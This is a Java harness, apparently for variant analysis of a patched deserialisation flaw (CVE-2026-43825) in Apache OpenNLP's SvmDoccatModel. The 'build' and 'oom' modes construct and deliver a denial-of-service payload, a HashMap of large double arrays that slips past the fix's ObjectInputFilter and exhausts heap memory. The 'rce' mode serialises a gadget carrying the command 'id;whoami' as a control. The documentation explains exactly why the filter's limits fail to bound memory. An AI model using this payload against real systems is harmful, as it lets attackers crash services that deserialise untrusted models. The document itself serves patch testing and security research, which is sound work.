import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

/**
 * Variant harness for CVE-2026-43825 (Apache OpenNLP SvmDoccatModel).
 *
 * <p>Modes (selected via -Dmode=...):
 *
 * <ul>
 *   <li><b>build</b> — Constructs the DoS payload ({@code HashMap<String, double[]>}
 *       whose values are large primitive arrays) and serialises it to the file
 *       named by -Dout. Run this with a large heap (-Xmx) big enough to hold the
 *       arrays in memory while serialising.</li>
 *
 *   <li><b>oom</b> — Reads the payload file named by -Din and calls
 *       {@code SvmDoccatModel.deserialize()}. Run with a SMALL heap to trigger
 *       {@code OutOfMemoryError} DURING {@code ObjectInputStream.readObject()}
 *       (proving the fix's filter ALLOWS the stream — no
 *       {@code InvalidClassException} — and that deserialisation exhausts
 *       memory the filter's limits do not bound), or with a LARGE heap to show
 *       the filter allows the classes and only the cast fails
 *       ({@code ClassCastException}). The harness does NOT catch exceptions or
 *       OOM: whatever the JVM throws propagates to stderr for the driver to
 *       classify.</li>
 *
 *   <li><b>rce</b> — Control: feeds a {@link MaliciousGadget} stream (a foreign
 *       class with a {@code readObject()} side-effect) to
 *       {@code SvmDoccatModel.deserialize()}. On the VULNERABLE build the
 *       gadget's {@code readObject()} runs (marker file created). On the FIXED
 *       build the {@code ObjectInputFilter} rejects the foreign class with
 *       {@code InvalidClassException} and no marker is created. Confirms the
 *       fix's PRIMARY goal (block foreign-gadget RCE) still holds, so only the
 *       DoS bypass (oom mode) evades it.</li>
 * </ul>
 *
 * <p>Rationale for the oom payload: the 3.0.0-M4 fix installs an
 * {@link java.io.ObjectInputFilter ObjectInputFilter} that
 * <ul>
 *   <li>allow-lists {@code java.util.HashMap}, {@code java.lang.String}, …</li>
 *   <li>allows ANY primitive array (componentType.isPrimitive() -&gt; ALLOWED)</li>
 *   <li>rejects arrays longer than {@code maxArrayLength} (10,000,000)</li>
 *   <li>bounds total references ({@code maxRefs} = 5,000,000) and depth</li>
 * </ul>
 * It bounds per-array length and total reference count, but NOT total allocated
 * memory. A {@code HashMap<String, double[L]>} with L &le; 10,000,000 and a
 * modest number of entries is entirely allow-listed and within every numeric
 * limit, yet deserialising it allocates n * L * 8 bytes. With n and L chosen so
 * that n*L*8 &gt;&gt; the consumer's heap, {@code readObject()} exhausts memory
 * before the cast to {@code SvmDoccatModel} is ever attempted — a
 * denial-of-service that the fix's filter does not prevent.
 */
public class Variant {

  public static void main(String[] args) throws Exception {
    String mode = System.getProperty("mode", "oom");
    switch (mode) {
      case "build" -> runBuild();
      case "oom"   -> runOom();
      case "rce"   -> runRce();
      default -> throw new IllegalArgumentException("unknown mode: " + mode);
    }
  }

  /** Build the DoS payload and serialise it to -Dout. */
  static void runBuild() throws Exception {
    int n = Integer.parseInt(System.getProperty("n", "4"));
    int len = Integer.parseInt(System.getProperty("len", "4000000")); // 4M doubles = 32 MiB each
    String outPath = System.getProperty("out", "/tmp/opennlp_variant_oom.bin");
    long approxBytes = (long) n * len * 8L;
    System.out.println("VARIANT_BUILD start n=" + n + " len=" + len
        + " approx_mem_bytes=" + approxBytes
        + " (~" + (approxBytes / 1024 / 1024) + " MiB) out=" + outPath);

    HashMap<String, double[]> map = new HashMap<>();
    for (int i = 0; i < n; i++) {
      map.put("k" + i, new double[len]);
    }
    try (OutputStream fos = new FileOutputStream(outPath);
         ObjectOutputStream oos = new ObjectOutputStream(fos)) {
      oos.writeObject(map);
    }
    long fileSize = java.nio.file.Files.size(java.nio.file.Paths.get(outPath));
    System.out.println("VARIANT_BUILD done file_bytes=" + fileSize);
  }

  /** Read the DoS payload from -Din and deserialise it via SvmDoccatModel.deserialize(). */
  static void runOom() throws Exception {
    String inPath = System.getProperty("in", "/tmp/opennlp_variant_oom.bin");
    // Stream the file DIRECTLY into deserialize (no full byte[] in memory) so
    // that any OutOfMemoryError is triggered by deserialisation allocating the
    // reconstructed arrays, not by loading the file. ObjectInputStream reads
    // the stream incrementally; peak heap is the reconstructed object graph.
    java.io.File f = new java.io.File(inPath);
    System.out.println("VARIANT_OOM start in=" + inPath
        + " file_bytes=" + f.length()
        + " calling SvmDoccatModel.deserialize() ...");
    // Let any exception / OutOfMemoryError propagate to the JVM (stderr).
    opennlp.tools.ml.libsvm.doccat.SvmDoccatModel.deserialize(
        new java.io.FileInputStream(inPath));
    System.out.println("VARIANT_OOM deserialized_without_cast_failure (unexpected)");
  }

  /** RCE control: feed a MaliciousGadget stream and let the gadget side-effect / exception surface. */
  static void runRce() throws Exception {
    String markerPath = System.getProperty("gadget.marker.path",
        "/tmp/opennlp_variant_marker.txt");
    Files.deleteIfExists(Paths.get(markerPath));
    System.out.println("VARIANT_RCE start marker=" + markerPath);

    MaliciousGadget gadget = new MaliciousGadget("id;whoami");
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
      oos.writeObject(gadget);
    }
    byte[] payload = baos.toByteArray();
    System.out.println("VARIANT_RCE stream_bytes=" + payload.length
        + " calling SvmDoccatModel.deserialize() ...");
    // Let any exception propagate. On the vulnerable build the gadget's
    // readObject() runs first (marker created), then ClassCastException.
    opennlp.tools.ml.libsvm.doccat.SvmDoccatModel.deserialize(
        new ByteArrayInputStream(payload));
    System.out.println("VARIANT_RCE deserialized_without_cast_failure (unexpected)");
  }
}